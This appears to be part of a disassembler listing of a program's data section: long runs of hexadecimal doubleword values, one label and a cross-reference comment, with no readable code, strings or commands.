dd 0FE53CEC6h, 0BD487335h, 2088ACC0h, 440D6C12h, 38D3F805h
dd 0E824F8F8h, 0D2465E00h, 4E161701h, 32A5DBFAh, 8094E9Ch
dd 7C18D4F5h, 7ED846h, 0D125D51h, 0D31E4AF8h, 0CB21C960h
dd 834447h, 96F0DBAAh, 15D656B2h, 2402E45Fh, 0FC324AA6h
dd 0BB540414h, 26148202h, 0DD51B920h, 0C4C9D7Ch, 7DB7FD09h
dd 0C1C427AEh, 2A4D0528h, 6BCE807h, 8F4681B9h, 0FEC82638h
dd 49B34128h, 0D8002A25h, 8FB94798h, 0EF2A164Ch, 89D8FCABh
dd 828413ECh, 0C2462504h, 0B60230A8h, 37C060F1h, 0DFAE0035h
dd 0FE4E9E28h, 200BACEh, 7E1BB3A9h, 4A2DFA74h, 7490F318h
dd 2042DF3Fh, 31DE0F29h, 0F037E31Ch, 8B14ED24h, 0C23CF3C7h
dd 0E58F9A51h, 0B54909E4h, 9EC99C03h, 5A391002h, 0C2189C03h
dd 43005C14h, 0BEB017B9h, 9B24BD70h, 0AA00AC09h, 3857E0F8h
dd 0A85198B3h, 1DCF6160h, 652D51BAh, 0A799068h, 8CCD5286h
dd 58DFFE11h, 3B35C0D8h, 430448h, 2B293853h, 118BC834h
dd 151605FAh, 0FCA25ED7h, 8FF90177h, 0D0B29E6Eh, 25B873C4h
dd 0C44065F3h, 1AB067EFh, 6951C4AAh, 3880D111h, 675D806Ch
dd 0D6823512h, 59F210C2h, 18FA7104h, 4E267079h, 8884B26Ah
dd 0F9467EF2h, 0DD45781Fh, 4C508032h, 7F3D31C5h, 0C647C283h
dd 20979D48h, 0E281D491h, 7CE634A3h, 5845C0CCh, 1DEB2D77h
dd 1965C5B4h, 0C1C71860h, 0F261807Dh, 74504624h, 6C0309CCh
dd 0C741207h, 4674342Ch, 0F14102D7h, 0C25B1FFFh, 8CA55D0Ch
dd 492C426Bh, 54796C99h, 465E202Eh, 0D24C00DBh, 91C4E3F5h
dd 0B60100CBh, 72EF1D1Eh, 7C2805F3h, 7F2E28FEh, 2F3B448Ah
dd 11289F6Bh, 0B70780BEh, 3B2547A2h, 7601B3EAh, 8334CC04h
dd 5C298EC6h, 0D49565E8h, 0E1100CA9h, 10A2D38Eh, 0AE302CB2h
dd 0C8811399h, 336C20E7h, 0FBFD32h, 12942FDFh, 0AC65530Dh
dd 0D112CB80h, 0ECED07D4h, 0D2E1A0B1h, 130562E9h, 1FF9C6E4h
dd 0F8F8C494h, 921A2780h, 40B024DDh, 9FA90CA3h, 0E0D02EBBh
dd 4BCAF38h, 6754DC4Eh, 788CC7F2h, 88AC3C12h, 0A864C80h
dd 63002AA0h, 451CDB46h, 2946DA1h, 0DA30C704h, 30560318h
dd 81C60C4Fh, 8CD00096h, 6C530916h, 0F5013918h, 43DDD35h
dd 2E2B57CFh, 232354h, 0E2725D67h, 0C898D7D1h, 222AFA27h
dd 0CCD294h, 4101ED39h, 8CF30C5Eh, 23BC805Ch, 0F7823E8Ch
dd 0F119A681h, 2B7C6E1Eh, 0C5506097h, 4D3D4Ch, 3372EEE9h
dd 2754DB8Eh, 0E5EA4F00h, 0C634E674h, 0C8E0BDC4h, 4182D277h
dd 842E7EDCh, 8314F8ECh, 0A8A05D9Dh, 1012C06h, 93C90A24h
dd 2F09D0AEh, 11414822h, 2C7B21FDh, 52C6045Ch, 0CCAC27BAh
dd 28B276C8h, 66604809h, 9C4B213h, 0DE5FF1ADh, 0BC4498CAh
dd 10A0355Ch, 182DD1C9h, 0A4023898h, 0A0B7982Ch, 7C936D12h
dd 0B84FE8C2h, 2CA1FA1h, 0F70445B1h, 1E508086h, 5E0E450Dh
dd 80372425h, 0EC95C818h, 0E7DECB30h, 20636886h, 14D0409Fh
dd 0A12A1852h, 49AF9812h, 1E92C20h, 80612B1Dh, 0F474A019h
dd 7A0036C0h, 0C9D20E44h
dd 16E7FD1Ch, 0C8D055FFh, 4910B950h, 0DC1267C5h, 13C4A23Dh
dd 280E85C8h, 984BB055h, 9B54EE0h, 86D8721Ch, 3AD2341Ch
dd 6568B430h, 4CC64E12h, 0DE9FCCE8h, 2C9867F2h, 6E2D494Ah
dd 72CCC117h, 3B361084h, 64B656C8h, 54AC470Bh, 812C8866h
dd 98A22C3Eh, 0EA4AC404h, 34FBC87Bh, 7030FA8Ch, 8062EA31h
dd 0C1C07B2Eh, 5FC5CAC0h, 8220A582h, 7FF5AA17h, 9AF65901h
dd 0FA0FE207h, 0B00FB858h, 4B362185h, 287C664Bh, 2FC0C7F3h
dd 1030C931h, 12856259h, 0F2B4F2C1h, 71B730D9h, 0B025BC00h
dd 0AFFDEEC6h, 72B1C4B9h, 2330A523h, 97D6005Ch, 0D550C743h
dd 2E2F006Ch, 9F5CCDF8h, 260FA36Ah, 8060390Ch, 0B202F3E9h
dd 736F8B8h, 5414EFB4h, 60F0FCEAh, 3B3F8038h, 19FF03E6h
dd 86916Eh, 97AC6821h, 0E6EF496Fh, 0EAED83Eh, 820EF457h
dd 0F237F121h, 68730620h, 0FC079FCDh, 6F0FFE0Fh, 780F93E9h
dd 26D4603Ch, 0E8549647h, 381800E4h, 0C9C17ACEh, 0E897D366h
dd 741B4E0h, 76B1AF34h, 0C97E61AAh, 0E8982CD2h, 42048CD7h
dd 244F8533h, 7720D080h, 165EF048h, 0B8CBDC67h, 1584AE18h
dd 9E34812Ch, 0DF08895Bh, 3D4883DBh, 0A610112Fh, 8C931DDh
dd 0C3FA1D0h, 3E08BD4Ch, 2618B162h, 0DACF0369h, 2D611018h
dd 0C64E3040h, 2072A008h, 20CA2920h, 343156C3h, 0C69510ABh
dd 0BFF6088Ch, 31C6C328h, 0FC088CCFh, 0E320C6B2h, 0C832382Eh
dd 37D8986h, 18102AE7h, 65109471h, 0C8BF1884h, 0CC04BE38h
dd 2659EE08h, 831739C6h, 0D84C3108h, 885D8B20h, 88AF248h
dd 5E0CC00Ch, 0F7350881h, 31B428A4h, 0E2DC0828h, 2008E206h
dd 2820BAB5h, 0C4539801h, 6AE8F28h, 20102BC9h, 6531D6BDh
dd 0AD7708A9h, 8CA47A01h, 875FC68h, 18E06541h, 658C46BBh
dd 1E2010D2h, 0E1BD2087h, 309DAD20h, 6D087683h, 5DF8D0FEh
dd 0DE705463h, 0B40810FBh, 80FA2A3Ah, 1036F631h, 7C016C48h
dd 0B59453D9h, 0F00B082Ah, 28658F31h, 0F001A174h, 0E2088CC1h
dd 405D20CDh, 7F40C447h, 0E7C8A876h, 24DA81A2h, 38620428h
dd 245EC08h, 0E1035F47h, 624818E4h, 8EA23088h, 88C808CAh
dd 4C4AC092h, 238ABCA6h, 3D98F846h, 80290508h, 28C6A79Bh
dd 313892B3h, 0F4087E5Bh, 0A208C3Ch, 0CE53107Ah, 18B9A3C9h
dd 0BFF98873h, 60F30CA5h, 0BE635918h, 10AFD228h, 10626B18h
dd 37108419h, 511B3203h, 9AF0A721h, 0A1FF29ECh, 0B18CE5C4h
dd 3F30BCF8h, 0ABB58040h, 9C91FCD4h, 99014A78h, 0F8208C6Dh
dd 0A803104Bh, 0CCCB1E8Ch, 1A19628h, 0B5085164h, 0D7590091h
dd 0CC7F208Ch, 0F0A81208h, 8CC4CDAh, 5455C90Eh, 817CB0A0h
dd 96AC24FDh, 0C42B6E40h, 1C4E9939h, 0BC4C61D2h, 0C9C740C5h
dd 502295C1h, 0B4026FC2h, 633A03C9h, 0BC44302Ah, 18001949h
dd 4F20A62Ch, 3F30C473h, 0F8340ADEh, 0BE99498h, 784780E5h
dd 32AB10C6h, 3CA24940h, 866EA18h, 18C4486Bh, 510A7F8Ah
dd 8F638DE4h, 8910F310h, 0E1856A1h, 310F1879h, 802AA880h
dd 788086CBh, 30A08037h, 0C4FC0580h, 9551408h, 22DC23AAh
dd 645FFA5Bh, 7DE52CA4h, 4F441659h, 8003BDECh, 100045B4h
dd 1AAB3CAFh, 5CFD961h, 3695A44Eh, 73AC901Fh, 43007B62h
dd 0C7FAA748h, 0FCCD28Eh, 5E831C47h, 94688267h, 1E6CF935h
dd 0CB0026DBh, 0F291BC56h, 0D31B0C8Fh, 7E504AC2h, 5D99F4D8h
dd 0A0FB6004h, 0E7A9CAB9h, 9002BE03h, 0C038F036h, 5B7AE64h
dd 88DAA10Bh, 58D4A9ABh, 4C0E1284h, 91819F1Eh, 53FF81DBh
dd 181990BCh, 0DC0510D7h, 0F4B848BEh, 71800F00h, 0A9AAB363h
dd 0B4400029h, 0C202AB0Dh, 902A0A3h, 0B95EAEBBh, 0B24480AAh
dd 0E54AABh, 3FAF99FBh, 977B89E8h, 41F8CA00h, 0ED5DC1ECh
dd 0FF8DF1Ch, 3806FE87h, 0FB2510BAh, 0F050FAC2h, 0BB97C6Ch
dd 0EADAB6A9h, 4C3F9850h, 0E27CFCCCh, 0C15DE18h, 60FDD338h
dd 98252004h, 5B135E7Bh, 0CCB1CB6Dh, 0AECC43Fh, 3C84472Ch
dd 433BEFF8h, 4C52D318h, 0F4544120h, 210BC5Bh, 31D5DFCh
dd 0CDA0BB00h, 3CC000E5h, 7E858CDDh, 9D007A73h, 7165EB33h
dd 0A482FC48h, 966D0064h, 0E5C4FEEDh, 2053A9Dh, 717E947Ah
dd 8EFDE820h, 4F6E18E3h, 59B328A7h, 1EEB2307h, 15C31C97h
dd 0D74102F4h, 59DEC3ABh, 973E0840h, 3E6CB3Eh, 8EF19DCFh
dd 1A6AE151h, 3CB1EEF4h, 721E6753h, 743C09Bh, 23E3CFE6h
dd 85FDB938h, 0C502CA66h, 92DB5400h, 0EED9AE5Dh, 0A9B33D91h
dd 0CEE35E09h, 930A607Eh, 970088C6h, 52E725D4h, 3CE1C478h
dd 0AB500ADh, 1BCE5DBh, 0CE87FDFAh, 415AA0DAh, 0FB6E12ACh
dd 9500F0D6h, 0CDBA73D3h, 21CEEh, 7F806454h, 0EBA4FB6Ch
dd 0E3C48400h, 0D51E6D46h, 829D0063h, 5D935470h, 0E984E10h
dd 0B8FE4D37h, 1FBB467h, 0BCE66A3Ch, 497EE439h, 0DE3968FDh
dd 35000048h, 2310A2FEh, 62003FF5h, 0F4C0E638h, 0FC14C94Ah
dd 725E12B4h, 1C7C015Bh, 0D082D446h, 3F1C4FCCh, 0C8F0DCD3h
dd 1E8B107Ch, 80FD249Fh, 0AA90332h, 949EAAD3h, 5E352A07h
dd 705ED24Fh, 0BBE5FDC7h, 0B0D0A30Bh, 0CB8BF8D1h, 359728A9h
dd 80882FFCh, 0D9D804C0h, 0E0504AF0h, 148D0A8h, 0B9B800B4h
dd 0E8374D68h, 30D44947h, 0B92700DEh, 0BEE5A902h, 30780A4h
dd 0AB6A6717h, 0D2DAD040h, 42249A55h, 19B73E7Fh, 3630F5B8h
dd 0C5020469h, 0D983E33Ch, 953CB444h, 5E41807Dh, 6C987A11h
dd 240F1FF0h, 1A8E0009h, 0C9E2E596h, 85795D12h, 5B71E445h
dd 0AE3ECFC1h, 47DDFF0h, 0FD0BFF86h, 1B1180CAh, 811DEAA2h
dd 2381677Eh, 74660641h, 0C0FCCEC8h, 5D9B4D88h, 0B7006946h
dd 1D9E8F09h, 65BE3Ah, 37DA9768h, 0C9023990h, 7CCC1802h
dd 0A0E6E26Eh, 0A91C9A9Ch, 6BDA18CFh, 0D82BD8A2h, 0B357AB0h
dd 0C06110DCh, 0A043B4B2h, 4062825Dh, 707A9300h, 2025636Eh
dd 6CA0149Ah, 48501563h, 0C30B01C0h, 83C1E6C9h, 9A31DCAh
dd 0E386FD78h, 3CE7B0A1h, 0B0C9A488h, 38528013h, 70FB604Dh
dd 6B26347Dh, 86482800h, 807E28E0h, 3B42550h, 90A688C8h
dd 40BBC9EBh, 0DCE385CCh, 485DAA09h, 505809ACh, 9CD3005Ch
dd 0EC56C61h, 5D03E31Dh, 0BCFDD5EAh, 0F0200147h, 3C5E6645h
dd 5A58843Fh, 1085369Bh, 40AD7C5Eh, 2C65E318h, 991493CDh
dd 6089C873h, 4E6A59BEh, 0FB89C830h, 117898BFh, 0D32780B7h
dd 88645831h, 0BC314017h, 0C3A0F030h, 7D428550h, 89E78CC1h
dd 0AF8B8E38h, 0CC608DCh, 8AE02596h, 30F11BF8h, 6B306600h
dd 431D40EBh, 0E13B2672h, 4870080h, 91FE4286h, 8877E618h
dd 484E1611h, 6804405Ch, 818FF0D5h, 8282E048h, 4E9FEBF9h
dd 80DC6597h, 90CD318Fh, 0AA032146h, 0B350A096h, 19893E8Eh
dd 4A20232Ch, 876E06F4h, 6100100Eh, 8DB8D6B0h, 98EE7D8Fh
dd 6E1A3F3Eh, 0B8CFB28h, 2A3BDAB1h, 569AEC10h, 0D898CA71h
dd 5AF6619h, 0B8403E80h, 0CDD3B25h, 873065F0h, 0E498FD18h
dd 0B56ECE0Dh, 0D1F97044h, 58890DC8h, 0C789E882h, 0E0A63807h
dd 7BC5707Eh, 71541402h, 4880DA66h, 3AE3394Ch, 36B36E11h
dd 0C0F2CD48h, 0A1AFD8A2h, 5BB5461h, 0DC013409h, 0A4480274h
dd 10617C41h, 0DC0021EAh, 1249DE5Ah, 2DC43E20h, 0B2B05A09h
dd 2CD31620h, 0FEB0414Fh, 80AD5FDEh, 0A9DAB320h, 17EEF17h
dd 999A018Bh, 2384076Eh, 17B8448Ch, 54D3708Ch, 9189A07Ah
dd 0A0FB1994h, 0DE804254h
dd 806FFE10h, 13092D3Bh, 1645FBFh, 0D4E70DB3h, 6E146EF0h
dd 2649405Dh, 3EBFC882h, 847D9702h, 10804628h, 0F86D5AF2h
dd 0D5090C8h, 0BC745FE4h, 71B43008h, 0B5137914h, 0ED1909B2h
dd 0FD48A6A2h, 58009D98h, 4DF70F99h, 0C06E1D0Ch, 0E56815h
dd 0D61747C1h, 0E69BFE59h, 1C0432EBh, 4D6DC46h, 7E1F0907h
dd 7CA08717h, 30E5C278h, 7E216D4h, 0C5169CA6h, 477B2B8h
dd 4A2F0E22h, 37B09168h, 0A862C194h, 14D8699Eh, 8B2C9CB0h
dd 80236Ch, 80C31E0Eh, 0BD00FE4Fh, 8E286602h, 0FF86B1DDh
dd 3F353EF0h, 0A1806D2Fh, 0CA396DCh, 2009A17h, 9DE00A51h
dd 0A0A9766Eh, 0FD2B88h, 7B71E744h, 0D5E6049Ch, 251C0E74h
dd 0BEC0AA46h, 6EC623E9h, 0D5F0E37h, 0D73D1CCFh, 9D844031h
dd 5B461869h, 24A560A2h, 4E9C09E7h, 9CC09C0Eh, 3CE6DDBh
dd 1D82600h, 2AD34990h, 121C904Bh, 2691266h, 5AC1ED0Ch
dd 0E32EC4E8h, 0F12C6890h, 6D418837h, 0B4242D57h, 6E163ABCh
dd 0E501F4C9h, 34FB8077h, 1474F8EDh, 594530C0h, 0BE2BCF1h
dd 0EBA5DAB8h, 88CC54A5h, 6438951Ch, 0D5E50018h, 0E49AA3B9h
dd 43D3165h, 0EF4DA540h, 2E4D141h, 3CE87DB0h, 0D4AB1CD3h
dd 35DDDEE0h, 293B1600h, 0D7DB253Ah, 4CE5717Eh, 5218943Ch
dd 0F4EC50E6h, 98703554h, 1CD00995h, 2B52E64h, 62AD42FCh
dd 24A21849h, 7E00CB88h, 3B7F49AAh, 906C8B46h, 0B6FD00D0h
dd 5E3616EDh, 0A0B0319Eh, 0F0DDE53Bh, 60C188B2h, 0DEC6E14h
dd 0E2E3B425h, 0C2764236h, 0B6E0900Ch, 0FB512ADAh, 0C8A44D98h
dd 70C536C7h, 59B8CC6Bh, 3BB1FC0Ch, 139C02Ch, 0C3E513DFh
dd 92B0EBDAh, 48121730h, 6E31D037h, 400584FBh, 0ED474EC8h
dd 96019EE6h, 5E382515h, 707078A9h, 49503B3h, 0CDE2F666h
dd 600B9A89h, 3500EBD8h, 11AAD95Ah, 0C5DBAAEh, 7F26EC7h
dd 25006A69h, 3146304h, 0D99F92h, 0CBA8500Fh, 3A5C8593h
dd 6468BF00h, 456EC3C4h, 1EC94F9h, 12A713D3h, 0E67DE062h
dd 1808BB50h, 0CB0F0E78h, 0C284C289h, 40A67E74h, 0E039DEC0h
dd 354E0290h, 673426D3h, 1031864h, 0DBDEC96Bh, 0EE980EF2h
dd 0A4D4BF65h, 6DC08855h, 40885DA7h, 0D604E888h, 24C6C55Eh
dd 0C4545C19h, 0C846FC4Dh, 611C4524h, 36C6965Ah, 1DA40158h
dd 95AE37E4h, 80484CC3h, 994AEE20h, 0E8FDBCD2h, 802CC7BCh
dd 78D7BAB3h, 86F04CE1h, 9A28C7FAh, 0D30B838Fh, 6802D7C3h
dd 0E950C61Ch, 46804214h, 54942E04h, 68FB6154h, 0A8AB60D7h
dd 2858C63Ch, 542808C0h, 0FD016C93h, 0F1CAA9D2h, 5074DF65h
dd 36BD0057h, 0C9FE15ADh, 2A003A1Bh, 0A1B8DDF9h, 590C202h
dd 0C6B239BAh, 6C30C05Fh, 6A07ED3Bh, 84D9E63Ah, 48C363E5h
dd 44268281h, 8A661884h, 0C75660BDh, 9E005E73h, 0DC38CCE5h
dd 57E26E4h, 0F150258Fh, 1CBEC0F7h, 68A18B54h, 5DC86091h
dd 5402404Ah, 0C09068D3h, 0C8677FD8h, 0DA04B2C8h, 88524F7h
dd 66BB98C0h, 1D5D13CBh, 0F200083h, 0CDDF7DAEh, 4DC4CE59h
dd 973C4D1Ch, 42B82404h, 1C20ACE5h, 0FFDF1901h, 0F180D196h
dd 48042A48h, 3C863290h, 52FD4B68h, 0F07C40A4h, 45E0312h
dd 24D4F351h, 5433DE84h, 1ACA811Ah, 10B7FBD8h, 0D8EBC402h
dd 536F1C00h, 99D03ECFh, 3A15B201h, 8A2BCCD3h, 0E4401A98h
dd 0C0081B17h, 9DE0683h, 0D2405944h, 90656F14h, 0F0C0F347h
dd 8DDF171Ch, 6C047E4Bh, 191F743Dh, 1585100Eh, 18A31800h
dd 146C62Dh, 6F1AFD3Dh, 0E19582CEh, 0E7084055h, 0D9609E65h
dd 845E01B0h, 0A480D523h, 0BCF35D0Ch, 94019310h, 0D8C1E603h
dd 0F242C6ABh, 59B050DCh, 0D2896845h, 0DAD08418h, 7DF450FBh
dd 8500AE68h, 3B4BD8Bh, 77A30A3h, 231D0F62h, 95F31029h
dd 6A2565BBh, 20080A12h, 85C9942Ch, 9041010Fh, 7965FDBDh
dd 0B1C16C2Ch, 400D7DDAh, 0CE8CFEB0h, 0E5515912h, 0CC070C52h
dd 0BFC29A05h, 28647B2Ch, 1D22060Ch, 76066981h, 29C099Dh
dd 11B3040h, 0E0C79E36h, 0F9D499B3h, 0CA320120h, 46167BA0h
dd 60507DCh, 0CFD364B3h, 10168844h, 16099124h, 66B00113h
dd 0C36AF688h, 6010D0D2h, 972406F3h, 98502E08h, 12F2F87Fh
dd 6B1FD08h, 6CD83203h, 16259440h, 90B44680h, 51EC2078h
dd 21040979h, 86BFF362h, 3D0FCF4h, 0E084F520h, 8185AFA5h
dd 284E6EA8h, 0FE3AB058h, 147F5AD7h, 2C2904A0h, 72426F0h
dd 504073CBh, 0A3D339C5h, 0A6988FF1h, 6902209Bh, 0F73BB6B5h
dd 389F182Ah, 6673C2CDh, 0F799516h, 0DC376016h, 81D4E3C1h
dd 0D903102Ch, 0A66045DDh, 70E7BC89h, 120F3571h, 8274ABh
dd 3A96EA77h, 236A0202h, 0C51FB65Eh, 5D10CC44h, 20044B2h
dd 0D9E772C0h, 2701AD85h, 5E9B34F0h, 0A8202824h, 6E680C33h
dd 2DA03BCDh, 0F370AB01h, 0FE887B5Ah, 2DEDD474h, 741095DEh
dd 80E09C57h, 4B3F91Ch, 290EC981h, 19705DA6h, 0FB78C024h
dd 0D5A31C67h, 0F4AED026h, 6473BD07h, 0EE470C0h, 45FE00ACh
dd 9FF5D3Dh, 0C8927B8Fh, 65E80880h, 70A0C94Ah, 15E273Bh
dd 6E7B9C40h, 0BB1D377Fh, 0CCFE4002h, 0D9BE3F1Ch, 0DACC00C4h
dd 45A1B6B0h, 5BC57799h, 13E80482h, 88DC8404h, 8C068090h
dd 0F38DD363h, 0BA740210h, 0F0EC07B1h, 4641FB81h, 0A4E9F051h
dd 89029800h, 0B7D5A2DCh, 1680FC86h, 451F6066h, 0C0D840A4h
dd 9FFB852Fh, 13EF2A0Ah, 1D00E0FDh, 0FCC6DE70h, 0F56E278Fh
dd 82CFAC00h, 0B80C0267h, 0A02CB5DAh, 9C96173Ch, 0C8B40BD0h
dd 42D41869h, 88408458h, 0E92D65E6h
byte_4E414C db 90h ; DATA XREF: ___:off_43A190o
db 92h, 0FCh, 0B0h
dd 2A315DE0h, 1DC0C864h, 0CF6C914Ah, 6A0927AEh, 5C31F0C4h
dd 73193196h, 0ED9430h, 0C7BE413Bh, 0B35446B2h, 84BA0C00h
dd 9833C3FBh, 4D6EEC8h, 6E65E56Dh, 19D48CF7h, 4E811094h
dd 0FB65EB44h, 0EC305038h, 859DC471h, 0B80350B8h, 86F11408h
dd 6820F293h, 305E2F9Ch, 0E5E8A773h, 0DF726D8Dh, 28B9CA78h
dd 0B1502B03h, 7792D036h, 24A0E638h, 3B656h, 0D47507C2h
dd 2114C6A7h, 130869FBh, 0BCC8CCFDh, 200892FEh, 989346F9h
dd 663C9825h, 0C55206A6h, 108B4E7Bh, 6CB8F155h, 0CEE0783Ch
dd 4DD510C0h, 0E8D6888Bh, 408F06FDh, 891CD59h, 6E10F105h
dd 0E41EA80Ah, 4E5A22CCh, 0B86F51D1h, 4E31D473h, 81586A59h
dd 0E570AE78h, 3CFD8AFDh, 8B40093Fh, 0C840BF0Fh, 0D334C61Bh
dd 0D8D4C932h, 81DC763Ah, 83DF5DC5h, 241420D1h, 5BD0BC61h
dd 0F0EA2F6Dh, 0A5CF03A4h, 668176F1h, 3826179Bh, 0A927EADEh
dd 0D394607Ch, 58A06406h, 2ED4B60Eh, 982D34E2h, 245DFDC8h
dd 0A43C5CE6h, 238C0094h, 2CDF137h, 8D0B1790h, 4053EA0Ah
dd 0CEE25400h, 6AA00C38h, 45741802h, 67DA4100h, 5E9763D9h
dd 0F9BC63CDh, 6FC13878h, 1C1089BDh, 0C00CE9A6h, 4D4CC12Eh
dd 4CF46141h, 3D40F070h, 34016BD0h, 867FAD00h, 18481BD8h
dd 0FF2309CCh, 0D5AC8193h, 0B0627B54h, 0A4207D89h, 0AB1865E3h
dd 74B68C9h, 0A9F6E774h, 3CD8F979h, 3EF00290h, 95C8EDACh
dd 6E24400Bh, 0E848FBh, 1D8E4F76h, 0E09125C0h, 80E20454h
dd 0D0476E82h, 0B22ED884h, 0FE8D0E80h, 0EC82D6CCh, 0B1B480B9h
dd 316EA1BAh, 6568A62Ch, 1948C8BCh, 368F50C0h, 28385FBh
dd 0EDC81297h, 50A02F96h, 0AC812958h, 9D25F41Ch, 0AE54450Eh
dd 9AB300B1h, 1E63876h, 5C0CE1BCh, 0E186FE21h, 160840D4h
dd 7E263D4Ch, 8B014CB0h, 8D97A9B3h, 0FFC8C085h, 703450FEh
dd 1B06653Dh, 0D97FDF30h, 0CB1CB0B2h, 906E9BDAh, 41E26B80h
dd 98B5ABDCh, 0F44A8E0h, 39EA206Eh, 0E66B909Ch, 0B8B22570h
dd 20966444h, 0DBC1FB60h, 0B38D2688h, 16084814h, 3A801FDh
dd 34BA446Eh, 0E975D9BCh, 120737EEh, 0F854DF3Bh, 40E7B2E0h
dd 7D04306Eh, 0FE2DBC89h, 193DDC00h, 0ABBE5D46h, 0FB750336h
dd 1FD54A74h, 0E456C688h, 63DAA900h, 4EAE158Fh, 0C0B20F37h
dd 0CA87EB99h, 0ED25C0A3h, 0D0AA1C1Ah, 2E1EC880h, 0AC2E8C50h
dd 0F240F095h, 26DF6845h, 0B190181Ch, 0FC4729F0h, 7200941Ah
dd 8822466Ah, 98D718EBh, 7EF50190h, 0DC6DF06Bh, 0A560B88Ah
dd 0F9DC83B8h, 0E6481742h, 90A04B45h, 604284E2h, 30015DC3h
dd 0AE1207B8h, 1C30495Bh, 0AC8891D5h, 1748A4D4h, 0ACC4491Bh
dd 8403AC85h, 28F03189h, 25208477h, 0DCA42FC8h, 786E4159h
dd 1BC20054h, 0E55DC646h, 73FB806Dh, 0E9D5081Ch, 0F95C9CBEh
dd 7B699380h, 9A296E7Ah, 0BACA00B0h, 8B7A9D2h, 36050D1Eh
dd 0F2646644h, 4A48548Ch, 12348BA4h, 0BCD07F80h, 902AB45Dh
dd 905A1BFCh, 3804D106h, 0DF35A3B3h, 0EAEA7CE4h, 4D273868h
dd 0E1659E12h, 0E108042Ch, 86786990h, 3770C7C1h, 7008ED14h
dd 7762CBC5h, 3E24544Ch, 21FE1215h, 0C030053h, 2EB9656Eh
dd 1E52CE0h, 0EEB9EA4h, 93FE70EDh, 8ECEDA00h, 1F5BAD83h
dd 0CF8A0B46h, 544447EBh, 0DC1FFF4Eh, 2B03AB90h, 0A74F3F95h
dd 8C0C382h, 730915BDh, 0ECA690F0h, 127472F8h, 0B0CC53DFh
dd 2F40D0D0h, 51397012h, 302B1496h, 0A404B36Ch, 8B9CF700h
dd 0D36168BEh, 148BC75h, 0F0DD7CFEh, 50286710h, 0F6741644h
dd 0EB65309h, 3C3C04D6h, 0A47ECE04h, 4E241290h, 1127E442h
dd 0FD085A60h, 4A28490h, 0C8068C48h, 81F53A06h, 2EB17246h
dd 0AC7CF86Eh, 0A3660551h, 4864F09Ch, 6E087E0Bh, 0CAF0C039h
dd 0CA29570h, 0C80BD98Ah, 8225759Ch, 50B03C44h, 0D5F9DE00h
dd 7DE49C90h, 5932038Ch, 0C965BF57h, 445C0892h, 0AD584500h
dd 90BE5E16h, 0FEB70144h, 26041BBFh, 0E612CCD7h, 8E4777Ah
dd 6E45F715h, 0B5DE84B4h, 41DC58B4h, 91CCC497h, 0CCB60DF0h
dd 6F472C01h, 18644629h, 5AD27965h, 49C467DCh, 0B6585C52h
dd 4BEA8428h, 5D84CCB8h, 0A1024080h, 1ED0E75Ch, 80594569h
dd 78658374h, 67165010h, 8A018C02h, 249789D5h, 0F0986CE0h
dd 0ED7409CDh, 68988A82h, 2125456h, 35094266h, 7830E645h
dd 0B16B00F1h, 0BADE3CEBh, 0B600DF23h, 0C139E75Dh, 4ABB96CCh
dd 7F0480A6h, 35F488D6h, 1CD0FE12h, 88902874h, 5C7CF7A2h
dd 9018C882h, 3A46084Ah, 3BE80709h, 6C8C80DAh, 304350DBh
dd 9B5860C6h, 0BF005BD9h, 15C0E59Dh, 0A21B96C2h, 0C5A8689Ah
dd 3FD31969h, 68A614C3h, 17F4578Ch, 880BC27Bh, 0F068D0FEh
dd 2C89892h, 0C679D2E7h, 80D0D7DAh, 0F8A269F6h, 56170059h
dd 1D00F0h, 2BB10F1Ch, 0D619729Eh, 0C5EA2504h, 18E88B08h
dd 0BABAB61Fh, 6126E4D2h, 0F0996434h, 0B95BFEACh, 0EC03F00Bh
dd 3A689148h, 127E2491h, 1022C3FBh, 0D248633Fh, 0C4904BEFh
dd 0BFE250A0h, 65FD1480h, 0ED17196Dh, 283442DBh, 0E53DC8F3h
dd 0D1830F13h, 93F7F2A0h, 0EC1FC169h, 0AE6E7B03h, 40405C60h
dd 50582C78h, 4EBD80ACh, 7E59799Dh, 0AD7B9000h, 0A95E170Fh
dd 261C914Dh, 85EC1388h, 5C4CCBD0h, 4C104A38h, 0F84B8C70h
dd 0FA17784h, 0DB2211E6h, 25A63080h, 6E0B01CFh, 0C8FEE499h
dd 16C939B8h, 446A65EBh, 0B821C528h, 0A3FF50D8h, 28C76E1Ah
dd 91071B8h, 0AC01F37Bh, 81ADB8D3h, 0C9B94778h, 133A27DAh
dd 2EB00274h, 8098FEB1h, 0CA8020B4h, 9CAB5090h, 0C84F2085h
dd 0A1686C00h, 1A6DF453h, 82C9804Eh, 5E7B02F6h, 0BC14E25Ah
dd 20F847A4h, 43A075FCh, 1682121h, 0AE5E72DBh, 63E460F9h
dd 1118F760h, 331C6723h, 0B88A1B5h, 0BFBA5007h, 0B80C346Eh
dd 7D92582Fh, 75DAA50Bh, 1B006CF0h, 512B5DFh, 1D1C3FC5h
dd 57AD16h, 9A7D4F11h, 0C802DF70h, 666E191Bh, 84F8AA46h
dd 0C4571562h, 0CE9D0528h, 0A16C3A1Ch, 0F45CC6A4h, 0C44F6F8Bh
dd 0B24EF038h, 0E35A54h, 412F118h, 0E2030AB6h, 68351DAh
dd 90EBBF6Eh, 0EE6A168h, 0BB743233h, 8813D0A0h, 461675C1h
dd 0B700C9AFh, 0F68CE095h, 0D55C0045h, 0D3814340h, 90A8FED8h
dd 8D123BEDh, 0B4560C23h, 0E835CC5h, 35C03BF5h, 0E861F9ADh
dd 147C701Eh, 3C243CB0h, 202806Eh, 0D9B2D5DFh, 182B2DA0h
dd 4C51DC62h, 6E6C814Bh, 212B19E0h, 63DD0170h, 71C01258h
dd 3C24B002h, 0EB886018h, 3693A9Eh, 0DAB8DC09h, 41C35C18h
dd 484C3C96h, 0DF9D07CCh, 490803DEh, 0C5008029h, 5B7A65A5h
dd 303CB8C0h, 1D8740DDh, 0AF57D378h, 3D6EE801h, 0DA602424h
dd 0C94A54Dh, 0C06150E7h, 2D9D246Dh, 8BD3E194h, 3828ACAEh
dd 0AF6B540Fh, 0B7012386h, 1679E099h, 40849636h, 0E3FE8893h
dd 0B8B0266Eh, 5B9AEDA0h, 3C60205Ch, 130011DFh, 7DE8D083h
dd 9991A74h, 885DCD89h, 0E36C8755h, 34A400CBh, 3C53A490h
dd 0FD077E63h, 40C8E775h, 57C61674h, 2065E40Ch, 1439C086h
dd 0D814045Eh, 8C77DECFh, 43265DC0h, 0C953A8ECh, 222EE38Ch
dd 0E8901D24h, 5000D5E5h, 0A6561CF7h, 2F555E80h, 0A494C5DAh
